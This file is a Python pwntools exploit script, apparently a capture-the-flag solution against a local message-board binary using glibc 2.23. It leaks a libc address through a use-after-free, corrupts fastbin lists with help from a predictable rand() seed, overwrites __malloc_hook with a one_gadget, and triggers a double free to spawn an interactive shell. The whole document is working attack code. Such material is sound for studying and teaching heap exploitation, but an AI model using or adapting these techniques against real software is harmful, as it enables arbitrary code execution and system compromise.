#!/usr/bin/env python

from pwn import *

def add(size, message):
    p.recvuntil('choice : ')
    p.sendline('0')
    p.recvuntil('Give me the message size : ')
    p.sendline(str(size))
    p.recvuntil('Give me your meesage : ')
    p.send(message)

def remove(index):
    p.recvuntil('choice : ')
    p.sendline('1')
    p.recvuntil('Give me index of the message : ')
    p.sendline(str(index))

def show(index):
    p.recvuntil('choice : ')
    p.sendline('2')
    p.recvuntil('Give me index of the message : ')
    p.sendline(str(index))

def change(index):
    p.recvuntil('choice : ')
    p.sendline('3')
    p.recvuntil('Give me index of the message : ')
    p.sendline(str(index))

def leak():
    # create a smallbin chunk
    add(200, 'a' * 199) # index = 0

    # trigger show to let ctime create its stuff in heap
    show(0)

    remove(0)

    # launch use-after-free attack to leak bk pointer in the freed smallbin chunk
    show(0)

    p.recvuntil('Message : ')
    return u64(p.recv(6) + '\x00\x00') - 0x3c4b78

def exploit(libc_base):
    # create this fastbin to trigger double free attack later to trigger __malloc_hook
    add(32, '\n') # fastbin_1 (index = 1)
    remove(1)

    # try to make a fake chunk before __malloc_hook in the main arena
    # we can overwrite __malloc_hook when allocator returned this chunk
    libc_fake_chunk = libc_base + 0x3c4aed

    # we also make a fake chunk inside fastbin_2 (heap_fake_chunk)
    # heap_fake_chunk's fd points to libc_fake_chunk
    add(96, p64(121) + p64(libc_fake_chunk) + 'b' * (95 - 16)) # fastbin_2 (index = 2)
    add(96, 'c' * 95)                                          # fastbin_3 (index = 3)

    # fastbin_3'fd poinsts to fastbin_2 after freeing both
    remove(2)
    remove(3)

    # since srand is called with a fixed seed, we can predict the rand() output
    # rand() generates 3, 6, 7 after calling change timestamp 3 times
    # we can increase the fastbin_3's fd by 16, so its fd points to heap_fake_chunk
    change(3)
    change(3)
    change(3)

    # this allocation returns fastbin_3's chunk and put heap_fake_chunk in fastbin free list
    add(96, 'd' * 95)        # fastbin_4 (index = 4)

    # this allocation returns heap_fake_chunk, and put libc_fake_chunk in fastbin free list
    add(96, 'e' * 8 + '\n')  # fastbin_5 (index = 5)

    # this allocaiont returns libc_fake_chunk, so we overwrite __malloc_hook with one_gadget's address
    # 0xf02a4 execve("/bin/sh", rsp+0x50, environ)
    # constraints:
    #    [rsp+0x50] == NULL
    one_gadget = libc_base + 0xf02a4
    add(96, 'f' * 11 + p64(one_gadget) + '\n') # fastbin_6 (index = 6)

    # launch double free, so malloc_printerr get called, which calls __malloc_hook internally
    remove(1)

with context.quiet:
    p = process('./program', env = {'LD_PRELOAD': './libc-2.23.so'})

    libc_base = leak()
    print 'libc base: {}'.format(hex(libc_base))

    exploit(libc_base)

    p.interactive()

